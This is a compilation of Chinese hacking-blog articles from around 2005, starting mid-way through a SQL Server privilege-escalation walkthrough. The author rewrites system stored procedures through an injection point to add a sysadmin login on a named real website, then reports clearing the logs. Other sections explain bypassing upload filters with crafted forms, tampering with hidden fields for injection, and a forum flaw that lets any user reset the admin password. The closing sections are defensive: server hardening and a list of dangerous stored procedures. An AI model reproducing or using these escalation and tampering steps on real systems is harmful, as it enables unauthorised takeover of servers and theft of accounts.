if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
– VALIDATE AND USE ENCRYPTION OPTION –
declare @xstatus smallint
select @xstatus = 2 — access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0×800, — old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end
– ATTEMPT THE INSERT OF THE NEW LOGIN –
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
if @@error <> 0 — this indicates we saw duplicate row
  return (1)
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
– FINALIZATION: RETURN SUCCESS/FAILURE –
raiserror(15298,-1,-1)
return (0) — sp_addlogin
GO
OK,我们新建个用户exec master..sp_addlogin xwq



再drop procedure sp_addsrvrolemember,然后在IE里输入




create procedure sp_addsrvrolemember
@loginame sysname,   — login name
@rolename sysname = NULL — server role name
as
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
declare @ret   int,   — return value of sp call
    @rolebit   smallint,
    @ismem   int
– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addsrvrolemember’)
return (1)
end

– CANNOT CHANGE SA ROLES –
if @loginame = ’sa’
begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
end
– OBTAIN THE BIT FOR THIS ROLE –
select @rolebit = CASE @rolename
    WHEN ’sysadmin’     THEN 16
    WHEN ’securityadmin’   THEN 32
    WHEN ’serveradmin’   THEN 64
    WHEN ’setupadmin’   THEN 128
    WHEN ‘processadmin’   THEN 256
    WHEN ‘diskadmin’   THEN 512
    WHEN ‘dbcreator’   THEN 1024
WHEN ‘bulkadmin’ THEN 4096
    ELSE NULL END
– ADD ROW FOR NT LOGIN IF NEEDED –
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
  execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
  if (@ret <> 0)
begin
  raiserror(15007,-1,-1,@loginame)
  return (1)
end
end
– UPDATE ROLE MEMBERSHIP –
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
raiserror(15488,-1,-1,@loginame,@rolename)
– FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) — sp_addsrvrolemember
GO



接着再exec master..sp_addsrvrolemember xwq,sysadmin
我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在
www.**17173.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想
大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号
,清除日志,闪人。



看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,
无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能的提升
权限方法的确是有点夸张拉,因为CREATE PROCEDURE 的权限默认授予 sysadmin
固定服务器角色成员和 db_owner 和 db_ddladmin 固定数据库角色成员,你要是
碰到Public的权限,那就不好使用拉。
不过不要以为换成public权限,就没有办法拿到webshell或者系统权限拉,恰恰相
反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。
最好的防范方法就是杜绝注射漏洞,这才是治标又治本的解决方法。(呵呵,要
是我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色
拉,没办法谁叫public也可以利用很多有危险的存储过程呢,而且public无法除
去,看来M$对我们这些”坏人”还是很厚爱的哦)



后记
这篇文章是我自2004年4月份装上SQL以来利用课余时间学习研究的,12月初旬写
完,由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开
而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点
做任何具有破坏性的操作。
再这篇文章里我并没有提到public权限的用户怎么拿到webshell或者系统权限,
而据我所知public权限的用户拿到webshell甚至系统权限的方法至少5种(偶目前
只会5种,可能还有更多的方法,要是哪位高手会更多,希望能不吝赐教,偶先谢
拉),鉴于危害实在太太大,现在还不是公布这些关键技术细节的时候,等到拉
一个适当的时机,我会把我所掌握的知识无私奉献给大家再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。
(欢迎转载,请保持文章的完整性)



编者:本着探讨的原则,发一下firefox对本文的一点疑问:
首先drop procedure sp_addlogin 没权限
其次INSERT INTO master.dbo.sysxlogins也没权限,不知道你怎么执行的储存过程,储存过程不过是简化了操作步骤,没有你说的那么神奇,不比扩展储存过程,利用了dll内置的函数,权限问题你考虑的太轻松了

2005年04月01日

作者:十二少[NorFolk]

注:本文已发表于2005。03期《黑客X档案》,转载请注明出处

  ————BEGIN—————

     在Web程序设计中,处理表单提交的数据是客户端向SERVER传递数据的主要方法,
表单数据的提交方法有两种Post方法和Get方法,当使用Post方法时,数据由标准的
输入设备读入,当使用Get方法时,数据由CGI变量QUERY_STRING传递给表单数据处理
程序,当Post方法一般不会在服务器上留下痕迹。具体的实现过程这里我就不多说,
有兴趣的朋友可以去翻阅其他资料。不管是ASP程序还是PHP,CGI程序,表单提交的
作用的大同小异的,所以这里仅以ASP为例。

             一.利用表单本地提交突破入侵限制
   既然表单是客户端与服务端的重要数据传递方法之一,那么它的安全性就难免会出
现问题。
   
 1:上传非法文件。
  
   某同学录的popwindowupload1.asp的客户端代码如下:
   < HTML>
   ….   
   < Script language=”javascript”>
     function mysubmit(theform)
     {
    if(theform.big.value==”")
    {
    alert(“请点击浏览按钮,选择您要上传的jpg或gif文件!”)
    theform.big.focus;
    return (false);
    }
    else
    {
    str= theform.big.value;
    strs=str.toLowerCase();
    lens=strs.length;
    extname=strs.substring(lens-4,lens);
    if(extname!=”.jpg” && extname!=”.gif”)
    {
    alert(“请选择jpg或gif文件!”);
    return (false);
    }
    }
    return (true);
    }
    < /script>
    …..
    < input type=”hidden” name=”act” value=”upload”>
    < input type=”hidden” name=”filepath” value=”/alumni/class/classimage”>
    < input type=”submit” name=”Submit2″ value=”开始上传”>
     ….
    < /HTML>
   很明显,这个上传文件在客户端利用SCRIPT限制了上传类型,虽然用SCRIPT可以减轻
  ASP程序的负载,但象大部分好的方面一样也有它坏的一面,如果其只是在客户端做限
  制,并在服务端限制上传类型或禁止外部提交,那么它并不能阻止我们上传程序禁止上传
  的ASP,CER,PHP等文件,只要我们在本地构造一个表单也能能轻松的上传这些文件。
  构造的表单主要代码如下:
    ………….
    < form name=”mainForm” enctype=”multipart/form-data” action=”http://www.***
                w.com/alumni/class/pic/upfile.asp?userid2=” method=post”>
          < tr>
            < td width=”74″ align=”right” height=”26″>标题:
            < td width=”399″>十二少
          < /tr>
          < tr>
            < td width=”74″ align=”right” height=”26″>照片说明:
            < td width=”399″>十二少’s照片
      < /td>
          < /tr>
          < tr>
            < td width=”74″ align=”right” height=”26″>图片路径:
            < td width=”399″>
              < input type=”file” name=”big”>
            < /td>
          < /tr>
          < tr align=”center”>
            < td colspan=”2″ height=”26″>

              < input type=”hidden” name=”act” value=”upload”>
              < input type=”hidden” name=”filepath” value=”/alumni/class/classimage”>
              < input type=”submit” name=”Submit2″ value=”开始上传”>
              < br>
            < /td>
          < /tr>
          < tr align=”center”>
            < td colspan=”2″ height=”26″ class=”di”>只支持jpg,gif文件,图片大小在
                 150k< /font>以内,上传时请耐心等待!
          < /tr>
        < /form>
        ….
       只要将前面查看得到的代码中的验证文件类型的SCRIPT删掉,然后再修改ACTION后的URL保存为HTML文件即可
    
  2:突破表格注入限制
      这个和前面一差不多就不再多说了(呵呵,其实是找不到实例拉)
      另外字符输入的长度限制也差不多,只要你看得懂这些HTML语言。
                                  二.HIDDEN隐藏字段缺陷
     终于说到重点了。
  1:还是SQL注入问题。
     目前SQL注入工击仍是入侵中的一大热点,不过随着时间的推移,一般的大型网站程序都已经将明显的
  注入点打好补丁拉,但是一些隐藏的比较深的注入点却还是有不少的,除非将它所有的代码都翻新一片。
   明显的注入点如:.asp?id=*,输入框等都已经过滤了,但这就能彻底的杜绝黑客的入侵吗?回答当然是NO
  这就要提到本文的重点HIDDEN隐藏字段拉。
       图1是某网游官方站点的帐号激活界面,查看源码,搜索”HIDDEN”字符串
   
    < form action=”index_game.asp” method=”post” name=”form1″ target=”_blank” onSubmit=”return active_go();”>
    …
    < td height=”25″ align=”center”>
                                             
    < input type=”submit” name=”Submit” value=”提交”>
     …                                                            
     < /form>
    如图2,看到了吗那个:
     只要它没有在客户端做任何限制,
  这就是一个注入点拉,将”user_name”的值”norfolk”改为想要注入的代码,然后和前面的一样将”ACTION”
  的改为相应的URL,保存为HTML文件~~~~~~~~~
    不过,它的安全还不错,提交后返回错误提示窗口,很显然它在服务端禁止了外部提交。
 
 2:非法修改其他用户密码。
 
   典型的代表是leadbbs V2.77的那个密码修改漏洞:任何注册用户都可以修改管理员密码,从而入侵服务器,
 进而拿下主机。
   登陆后修改密码,查看源码,其主要漏洞代码如下:
 …….
< form action=usermodify.asp method=post name=form1 onsubmit=”submitonce(this);return validationpassed”>
< tr>
< td align=middle height=25>
< p>*用户名称:
< td height=25>
< p>norfolk

 


< tr>
< td align=middle height=25>
< p>*你的密码:

 


< td height=25>
< input class=fminpt name=submitflag type=hidden value=52norflk>
< input class=fminpt name=form_id type=hidden value=265>
……..

 

 其中我的from_id的值为265,在管理员例表中查看管理员ID,然后将它替换265,再将ACTION的URL相应的修改一下
保存为HTML文件再提交就可以将管理员的密码改成52norfolk。
 
  这个漏洞早在2003.12月就已经公布,这里在拿出来只是为了说明一下这个HIDDEN隐藏字段的危害。不过我发现目前
还是有不少程序可以任意修改其他用户的密码,至于方法如出一辙,(偶用这个漏洞拿下过不少站点的ADMIN):-_-

 3:任意修改价格以达到低价甚至不花一分钱网上购物。
 
    早在几年前国内国外的一些大型网上购物网站就已经出现过类似的漏洞。 这些网站的后台程序的验证机制并不健全
 以至可以在外部提交数据,于是便出现了低价甚至不花一分钱购买商品的事件,导致这些网站造成重大的经济损失,
 由此观之,网络安全是马虎不得的,即使一丁点而问题,造成的损失也是不可估量的。希望之后的程序员在编写程序时能
  够尽量细心。这里我就不再将它的利用过程写出来了,反正它们的利用过程都基本相似。
 
  最后给大家介绍老外写的一个不错的检测WEB应用程序安全性的工具,一下是安全焦点的介绍:

   Achilles是一个设计用来测试web应用程序安全性的工具。它是一个代理服务器,在一
  个HTTP会话中扮演着”中间人”(man-in-the-middle)的角色。一个典型的HTTP代理服
  务器将在客户浏览器和web服务器间转发数据包,但Achilles却载取发向任一方的HTTP会
  话数据,并且在转发数据前可以让用户修改这些数据.
 
  相信在WEB入侵方面可以为您提供不少的帮助,如果有可能下次再专门写篇文章介绍它吧,这里我就不多说了,有兴趣的
  朋友可以自己下载研究研究,它的下载地址:http://www.xfocus.net/tools/200403/achilles-0-27.zip
 

  后记:
    到这里还是说一下解决方法吧。
    首先当然是禁止外部提交,这里有种不错的方法,大家可以参考参考:

         < %
         server_v1=Cstr(Request.ServerVariables(“HTTP_REFERER”))
         server_v2=Cstr(Request.ServerVariables(“SERVER_NAME”))
         if  mid(server_v1,8,len(server_v2))<>server_v2  then
         % >
         你想入侵我也不要这么麻烦嘛,直接打电话告诉我,我给你开WEBSHELL,呵呵
         < %
         Response.Redirect “Fuck-Hacker.asp”
         end if
         % >
   但这不能彻底杜绝黑客对传递的DIDDEN数据的修改,前面那个ACHILLES就能修改,所以在
   服务端还要有健全的验证机制。

2005年03月26日

如果您的服务器正在受ASP木马的困扰,那么希望这篇文章能帮您解决您所面临的问题。

目前比较流行的ASP木马主要通过三种技术来进行对服务器的相关操作。

一、使用FileSystemObject组件

FileSystemObject可以对文件进行常规操作

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOT\Scripting.FileSystemObject\
改名为其它的名字,如:改为FileSystemObject_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下
HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值

也可以将其删除,来防止此类木马的危害。

注销此组件命令:RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll

禁止Guest用户使用scrrun.dll来防止调用此组件。
使用命令:cacls C:\WINNT\system32\scrrun.dll /e /d guests

二、使用WScript.Shell组件

WScript.Shell可以调用系统内核运行DOS基本命令

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOT\WScript.Shell\

HKEY_CLASSES_ROOT\WScript.Shell.1\
改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值

也可以将其删除,来防止此类木马的危害。

三、使用Shell.Application组件

Shell.Application可以调用系统内核运行DOS基本命令

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOT\Shell.Application\

HKEY_CLASSES_ROOT\Shell.Application.1\
改名为其它的名字,如:改为Shell.Application_ChangeName或Shell.Application.1_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下
HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值

也可以将其删除,来防止此类木马的危害。

禁止Guest用户使用shell32.dll来防止调用此组件。
使用命令:cacls C:\WINNT\system32\shell32.dll /e /d guests

注:操作均需要重新启动WEB服务后才会生效。

四、调用Cmd.exe

禁用Guests组用户调用cmd.exe

cacls C:\WINNT\system32\Cmd.exe /e /d guests

通过以上四步的设置基本可以防范目前比较流行的几种木马,但最有效的办法还是通过综合安全设置,将服务器、程序安全都达到一定标准,才可能将安全等级设置较高,防范更多非法入侵。

2005年03月18日

1、DDOS很难完全防御,当DDOS攻击量足够大的时候,所有的被攻击者都会瘫痪。所以防护的前提只是根据攻击量的大小进行相应的投资,防御只是相对的。

2、根据我的测试,除了大的网站外,国内目前网站绝大部分中小规模的企业/政府以及各种咨讯网站都没针对DDOS采取日常的DDOS防护措施,意识是一个方面,防护的巨大成本又是一个方面。典型的syn ddos攻击是以小带宽博大带宽,只要攻击者有一个放在宽带网上的服务器,非常容易实施攻击。

3、针对DDOS攻击,比较彻底防御的方式主要是路由器+防火墙+负载均衡的方式,需要ISP的配合,以及投入负载均衡服务器,实现比较困难。

对于中小规模的网站来说,实际可行的方式是直接加载专门的防DDOS的硬件,目前国内比较有效的是国内的绿盟的黑洞系列,专门用来防DDOS的,部署比较方便。而其国内外的硬件防护类主要是综合的硬件防火墙,防DDOS只是其中一项功能,效果和效率都不是太好,而且很昂贵。另外sharesec.com的硬件防火墙据说他们本人说效果很好,但暂时无法得知实际效果。

4、软件防护方面,诸如blackice这样的防火墙软件基本没什么效果,而且占用服务器资源较多。而专门的软件比较流行的有KFW以及冰盾,根据网上反馈的效果来说,KFW并不好,效果不很理想,而且价格昂贵。而冰盾使用起来,据黑客基地的站长说,效果很好,他们的网站在被D的时候,确实D不动。但我本人一直没用起来,不知道为何,可以详细做下配置,之后再看。

5、绿盟的黑洞主要分为百兆和千兆,前者用于保护单个站点或者服务器,后者用来保护骨干设备,比如千兆交换机。百兆又细分为5个接口,10个接口等等。百兆5接口的报价138000元。

6、目前万网的虚拟主机就采用的是黑洞的产品,价格比较贵,但关键是限制了流量,3200元的,每月的流量限制是30G。很容易超出。

而服务器托管商方面,实力大都不行,有黑洞防火墙的,都是在应急的时候使用,平常并不架设。租用的价格我看到一家是1天500元。

总体来说,由于目前网上DDOS攻击的易实施以及防护软硬件的昂贵,让DDOS攻击成了很多站长的噩梦,在2005年,必定会成为更多站长的噩梦……

2004年12月31日

日前SQL INJECTION的攻击测试愈演愈烈,很多大型的网站和论坛都相继被注入。这些网站一般使用的多为SQL SERVER数据库,正因为如此,很多人开始怀疑SQL SERVER的安全性。其实SQL SERVER 2000已经通过了美国政府的C2级安全认证-这是该行业所能拥有的最高认证级别,所以使用SQL SERVER还是相当的安全的。当然和ORCAL、DB2等还是有差距,但是SQL SERVER的易用性和广泛性还是能成为我们继续使用下去的理由。那怎么样才能使SQL SERVER的设置让人使用的放心呢?

第一步肯定是打上SQL SERVER最新的安全补丁,现在补丁已经出到了SP3。下载地址:http://www.microsoft.com/sql/downloads/2000/sp3.asp。如果这一步都没有做好,那我们也没有继续下去的必要了。

第二步是修改默认的1433端口,并且将SQL SERVER隐藏。这样能禁止对试图枚举网络上现有的 SQL Server 客户端所发出的广播作出响应。另外,还需要在TCP/IP筛选中将1433端口屏蔽掉,尽可能的隐藏你的SQL SERVER数据库。这样子一但让攻击创建了SQL SERVER的账号,也不能马上使用查询分析器远程登陆来进行下一步的攻击。单从ASP,PHP等页面构造恶意语句的话,还有需要查看返回值的问题,总比不上直接查询分析器来得利落。所以我们首先要做到即使让别人注入了,也不能让攻击者下一步做得顺当。修改方法:企业管理器 –> 你的数据库组 –> 属性 –> 常规 –> 网络配置 –> TCP/IP –> 属性 ,在这儿将你的默认端口进行修改,和SQL SERVER的隐藏。

第三步是很重要的一步,SQL INJECTION往往在WEB CODE中产生。而做为系统管理员或者数据库管理员,总不能常常的去看每一段代码。即使常常看代码,也不能保证我们在上面的疏忽。那怎么办?我们就要从数据库角色着手,让数据库用户的权限划分到最低点。SQL SERVER的默认权限让人真的很头疼,权限大得非常的高,权限小的又什么都做不了,SYSADMIN和db_owner真是让人又爱又恨。攻击者一但确认了网站存在SQL INJECTION漏洞,肯定有一步操作步骤就是测试网站的SQL SERVER使用者具有多大的权限。一般都会借助SELECT IS_SRVROLEMEMBER(’sysadmin’),或者SELECT IS_MEMBER(‘db_owner’),再或者用user = 0(让字符和数字进行比较,SQL SERVER就会提示了错误信息,从该信息中即可知道一些敏感信息)等语句进行测试。方法还有,我也不敢多说了。其一怕错,其二怕联盟中的人扁。在当前,如果网站的数据库使用者用的是SA权限,再加上确认了WEB所处在的绝对路径,那么就宣告了你的网站的OVER。db_owner权限也一样,如果确认了绝对路径,那么有50%的机会能给你的机器中上WEB 方式的木马,如海阳等。所以这儿我们确认了一点,我们必须要创建自已的权限,让攻击者找不着下嘴的地方。在这儿引用一个SQL SERVER联机帮助中的例子:

创建 SQL Server 数据库角色的方法(企业管理器)
创建 SQL Server 数据库角色
1.        展开服务器组,然后展开服务器。
2.        展开”数据库”文件夹,然后展开要在其中创建角色的数据库。
3.        右击”角色”,然后单击”新建数据库角色”命令。
4.        在”名称”框中输入新角色的名称。
5.        单击”添加”将成员添加到”标准角色”列表中,然后单击要添加的一个或多个用户。(可选)
只有选定数据库中的用户才能被添加到角色中。

对象权限
处理数据或执行过程时需要称为对象权限的权限类别:
·        SELECT、INSERT、UPDATE 和 DELETE 语句权限,它们可以应用到整个表或视图中。
·        SELECT 和 UPDATE 语句权限,它们可以有选择性地应用到表或视图中的单个列上。
·        SELECT 权限,它们可以应用到用户定义函数。
·        INSERT 和 DELETE 语句权限,它们会影响整行,因此只可以应用到表或视图中,而不能应用到单个列上。
·        EXECUTE 语句权限,它们可以影响存储过程和函数。

语句权限
创建数据库或数据库中的项(如表或存储过程)所涉及的活动要求另一类称为语句权限的权限。例如,如果用户必须能够在数据库中创建表,则应该向该用户授予 CREATE TABLE 语句权限。语句权限(如 CREATE DATABASE)适用于语句自身,而不适用于数据库中定义的特定对象。
语句权限有:
·        BACKUP DATABASE
·        BACKUP LOG
·        CREATE DATABASE
·        CREATE DEFAULT
·        CREATE FUNCTION
·        CREATE PROCEDURE
·        CREATE RULE
·        CREATE TABLE
·        CREATE VIEW

暗示性权限
暗示性权限控制那些只能由预定义系统角色的成员或数据库对象所有者执行的活动。例如,sysadmin 固定服务器角色成员自动继承在 SQL Server 安装中进行操作或查看的全部权限。
数据库对象所有者还有暗示性权限,可以对所拥有的对象执行一切活动。例如,拥有表的用户可以查看、添加或删除数据,更改表定义,或控制允许其他用户对表进行操作的权限。

db_owner                          在数据库中有全部权限。
db_accessadmin                        可以添加或删除用户 ID。
db_securityadmin                可以管理全部权限、对象所有权、角色和角色成员资格。
db_ddladmin                        可以发出 ALL DDL,但不能发出 GRANT、REVOKE 或 DENY 语句。
db_backupoperator                可以发出 DBCC、CHECKPOINT 和 BACKUP 语句。
db_datareader                        可以选择数据库内任何用户表中的所有数据。
db_datawriter                        可以更改数据库内任何用户表中的所有数据。
db_denydatareader                不能选择数据库内任何用户表中的任何数据。
db_denydatawriter                不能更改数据库内任何用户表中的任何数据。

在这儿把新建的数据库角色的权限配置好,比如需要使用哪个表、视图、存储过程等。然后把Db_owner和db_securityadmin、db_backupoperator取消,不给攻击者BACKUP DATABASE和CREATE TABLE的机会,一但攻击者具有这两个权限,那么你的网站就还处在十分危险的状态。还有注意一下,在创建数据库账号时,千万不能对服务器角色进行选择。


第四步是修改SQL SERVER内置存储过程。SQL SERVER估计是为了安装或者其它方面,它内置了一批危险的存储过程。能读到注册表信息,能写入注册表信息,能读磁盘共享信息等等……各位看到这儿,心里可能会在想,我的网站中有其它的代码,又不像查询分析器那样能查接将结果输出。给你这个权限,又不能怎么样,还是看不到信息。如果各位这样想就大错特错了。提示一下,如果攻击者有CREATE TABLE的权限,那么创建一个临时表,然后将信息INSERT到表中,然SELECT出来,接着跟数字进行比较,让SQL SERVER报错,那么结果就全出来了……所以我们要报着宁错杀,不放过的态度进行修补。

先来列出危险的内置存储过程:

xp_cmdshell
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

ActiveX自动脚本:

sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop

以上各项全在我们封杀之列,例如xp_cmdshell屏蔽的方法为:sp_dropextendedproc ‘xp_cmdshell’,如果需要的话,再用sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’进行恢复。如果你不知道xp_cmdshell使用的是哪个.dll文件的话,可以使用sp_helpextendedproc xp_cmdshell来查看xp_cmdshell使用的是哪个动态联接库。另外,将xp_cmdshell屏蔽后,我们还需要做的步骤是将xpsql70.dll文件进行改名,以防止获得SA的攻击者将它进行恢复。

我们做到这儿,你的SQL SERVER就基本上安全了。但是信息还是能一样的外泄。毕竟SELECT我们是无法取消的,除非你的网站用的是HTML。SQL INJECTION的防范还需要我们这些程序员来注意,这才是治本之法。我们在高级设置篇再接着对SQL SERVER的安全做下一步的分析。该篇文章如果有什么错漏,请大家多多包涵。谢谢……

另外推荐一下,SQL INJECTION的测试工具NBSI,这是由联盟中小竹同志开发,对SQL INJECTION的注入有代表性的作用,另外一个就是小弟的NBWEBSHELL了。这些工具都可以到联盟网站进行下载

NB联盟-jadesun(裤衩) QQ:280155  希望转载时,能保持作者信息
NB网站:www.54nb.com